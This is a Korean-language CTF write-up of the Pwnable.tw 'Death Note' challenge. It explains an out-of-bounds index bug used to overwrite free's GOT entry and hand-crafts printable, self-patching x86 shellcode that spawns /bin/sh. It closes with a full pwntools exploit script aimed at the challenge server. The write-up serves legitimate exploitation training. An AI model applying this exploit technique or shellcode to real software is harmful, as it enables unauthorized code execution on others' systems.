Hack/Pwnable

[Pwnable.tw] Death Note(Write-up)

CIDY 2023. 1. 9. 20:29

mitigation

 

이제 문제 이름에 note라는 단어가 들어가면 무조건 힙문제라는걸 알아버렸다

역시 메뉴 형식.. 4는 바로 엑싯이고, 나머지를 살펴보자.

 

1번 메뉴다. v1이 10보다 크면 oob라고 한다. 그게 아니면 0x50만큼 name입력받고, 그걸로 strdup한다. malloc이 왜 없나 했더니 strdup로 처리하는거였다. 그리고 아까 쓴 idx에 malloc주소 넣고 끗남. 근데 카나리랑 딱 0x50차인데 꽉 채울 수 있게 해주네 😗 아 그리고 read_int의 반환을 담는 v1이 signed라서 아래로 oob가능할지도 모름.

 

참고로 is_printable의 조건은 위와 같다. 중간에 널 끼워서 검사를 끊을 수는 있겠지만, 그럼 strdup에서도 끊기겠지?

 

2번 메뉴다. 솔직히 메뉴보고 show있어서 기분좋았다ㅋㅋ 마찬가지로 idx입력받고, 범위 검사하고 그거 출력시켜준다. 근데 아마 note배열이 bss에 있을텐데, bss위에 got있을거고. 근데 read_int를 음수 가능하게 주면 그냥 바로 oob일으켜서 립씨릭 낼 수 있는거 아닌가? -> %s로 참조하는거라 안 될 수도 있긴한데 한번 확인해볼 가치는 있을듯.

 

마지막 delete메뉴이다. idx입력받고, 범위 검사하고, free한다. 그리고 note배열도 초기화시킨다. 이건 좀 아쉽다. 

 

코드는 가볍다. 요즘 좀 무거운것도 읽어봐야 할 것 같은데 일때문에 흐름이 계속 끊기니 차라리 이런 게 나을 것 같기도 하고..

 

일단 익스 방향은... 잘 모르겠다ㅋㅋㅋ NX가 안 걸려있으니 쉘코드 쪽으로도 눈이 좀 간다. 아 쉘코딩 때문에 is_printable검사가 있는건가? 그거야 뭐 모듈 쓰면 간단히 우회 가능하니 크게 신경쓸 부분은 아닌듯하고

 

아 그럼 add할때 oob일으켜서 exit의 got를 heap영역 주소로 overwrite하고, 내용물에는 shellcode쓰면 될듯.

 

ㅠㅠㅠ길이가 두 배다. 옵션도 small로 넣었는데...0x50에 맞추려면 어쩔 수 없이 걍 내가 짜야겠다. 쉽지않은데... 아니 원래 길이는 0x1f였는데 왜 0xa1이 된거냐고...ㅠㅠ

 

그리고 널바이트도 끼면 안된다.. strdup로 malloc하는 거라서. 그래서 shr로 우회해보려고 했는데 이게 32비트 시스템이다 보니 쉬프트하는 비트 수가 작아서 또 걸리는 상황이다. 게다가 execve를 쓰려고 했는데 그럼 무조건 /bin/sh를 정직하게 입력해야 한다. /bin//sh정도까지는 봐줄 수 있을지 몰라도. 그런데 /가 애초에 0x2f라서 검열 대상이다ㅠㅠㅠ

 

그럼 orw를 해야 하나..? 근데 이거 절대경로 입력해야 할 텐데 그럼 /home/death_note/flag니까 결국 또 / 가 들어간다..

ㅅㅂ 걍 execve쓰고, xor로 다 때워야겠다. 진짜 이러고 싶지 않았는데..

0x68732f2f -> 여기서 2f2f걸림. 0010 1111 0010 1111 이니까 1000 1000 1000 1000 주고 1010 0111 1010 0111 을 xor하면 된다. 즉 0x68738888 주고 0xa7a7을 xor하면 됨.
아 근데 a7이 앞에가 다 널처리되네..ㅅㅂ ㅋㅋ
그럼 전체 xorㄱㄱ 0x68732f2f == 0110 1000 0111 0011 0010 1111 0010 1111 이니까... 하 걍 xor계산기를 쓰자.
0x68732f2f xor 0x57377777 = 0x3f445858
0x6e69622f xor 0x57575777 = 0x393e3558 

... 뭐 이런 식으로 mov안쓰고 push, pop , xor 써서 다 때웠는데, int 0x80은 \xcd\x80이라.. 어떻게 우회하지? 

우회 검색하니까 이런거 나옴ㅋㅋ 근데 내 목표는 스택에 쉘코드 쌓는 게 아니라 정갈하게 만들어진 쉘코드를 보내는 게 목표라.. 아 근데 스택에 쌓아서 ip를 거기로 보내던가 해야 할 것 같은데..?

 

 

어....int 0x80하기전에 점검차 실행시켜봤는데.. 의도대로 잘  덮이긴 했는데 왜 안되는거지? 

진짜 기껏 다 왔다고 생각했는데, 방향이 잘못된거였다니..wx다 있는건 스택뿐인데.. 아니그럼 스택에서 실행시키라고? ... 그럼 스택 주소를 릭해서 그걸로 어디 got를 덮어야 한다는 뜻인데, 이게 말이 되나?

 

말이 안 된다는 생각이 들면 일단 16.04를 열어봐야 한다. ㅋㅋ 아마 서버는 또 2.23인듯 한데.. 그럼 이제 int 0x80만 통과하면 되는 상황. 원래 계획은 적당한 레지스터에 0xcd80을 만들어 push esp; ret할 계획이었는데 ret이 범위 밖이다. 

 

그럼 push esp; pop eip도 있다. -> 이게 pop eip; jmp eip를 동시에 묶어서 ret으로만 쓸 수 있고 eip만 pop하려고 하니까 어셈블 자체를 안 해줌. 

 

일단 0x80cd 를 만들어보자. 0x80cd를 만드는 방법은 많이 있어서 내 조건에 맞게 살짝 변형해서 했다.

여기까지 한 다음 ret을 하거나,, 하면 됨. mov eip, esp도 시도해봤는데, eip를 특정 opcode 대상으로 못 쓰게 하는듯.

 

아 그리고 방금알았는데 32비트에서는 execve('/bin/sh", 0, 0); 을 해야한다고 한다. 즉, ecx에 &"/bin/sh"를 넣어줄 필요는 없다.

 

헐 근데 시발 와 이걸 잘못봤다. 0x31보다 커야하는 줄 알았는데 31이었고 헥스값 0x1f였네?? 와 진짜 나는 바보다 삼창해야할것같다.

 

xor로 삽질했던 내 시간들은...하...암튼 덕분에 길이 좀 줄였고... 이제 int 0x80만 처리하면 된다. eip는 못 건드리니까 다른 레지스터가 만약 heap의 shellcode부분을 가리키고 있다면 그걸 이용해서 익스할 수 있다.

 

아니 이게 어느 got를 덮냐에 따라 그때그때 레지스터 구성이 달라진다. 나는 처음에 exit의 got를 덮으려고 했는데, exit는 인자로 유의미한 값을 받지 않기 때문에 레지스터에도 쓸 만한 값이 안 들어간다. 그런데 만약 free를 덮게 되면, 인자로 heap영역 주소 == shellcode주소 가 들어가야 하므로 이를 전달하는 eip이외 레지스터 어딘가에 shellcode주소가 들어가게 되고, 이를 이용한 것이다.

 

최종 코드는 위와 같이 나왔다. eax를 push한 다음 ebx에 [ebx+0x29]랑 0xcd80을 xor해서 결국 쉘을 따냈다... 굳이 eax에 있던 값을 다른 레지스터로 옮긴 이유는, ebx에서 xor연산이 범위 밖인데, eax는 아니기 때문에 eax에 든 값을 다른 레지스터로 옮긴 뒤, eax안에서 연산을 진행한 것이다.

 

from pwn import *

context.arch = "i386"
context.os = "linux"

def add(idx, name):
    p.sendafter(b"Your choice :", b"1")
    p.sendafter(b"Index :", str(idx))
    p.sendafter(b"Name :", name)
    
def show(idx):
    p.sendafter(b"Your choice :", b"2")
    p.sendafter(b"Index :", str(idx))
    
def delete(idx):
    p.sendafter(b"Your choice :", b"3")
    p.sendafter(b"Index :", str(idx))

#p = process("./death_note")
p = remote("chall.pwnable.tw", 10201)

shellcode = asm(
    '''
    push eax
    pop ebx
    push ecx
    pop eax
    dec eax
    xor ax, 0x4773
    xor ax, 0x3841
    xor [ebx+0x29], ax
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    push esp
    pop ebx
    push 0x77777777
    pop eax
    xor eax, 0x7777777c
    '''
)
print(shellcode)
shellcode += b"\x00"
print(hex(len(shellcode)))
add(-19, shellcode)
pause()
delete(-19)

p.interactive()

-19가 free위치임.

flag

후기: seccomp있는 것도 아니고, execve를 쓸 수 있는 간단한 쉘코딩인데 평소에는 AE64같은 모듈로 돌리다가 0x50길이 제한 때문에 오랜만에 직접 짠다고 고생좀 했다.. 그리고 헥스값이랑 10진수 값 혼동해서 안 해도 될 삽질도 하고... ㅋㅋ 그래도 혼자 풀어서 뿌듯하다. (사실 int 0x80에서 막혀서 풀이를 검색해보긴 했는데 ㅈㄴ길어서 안 읽고 걍 내가 했다.)

 

552

등수 올라갈수록 상승폭이 작아지네...😥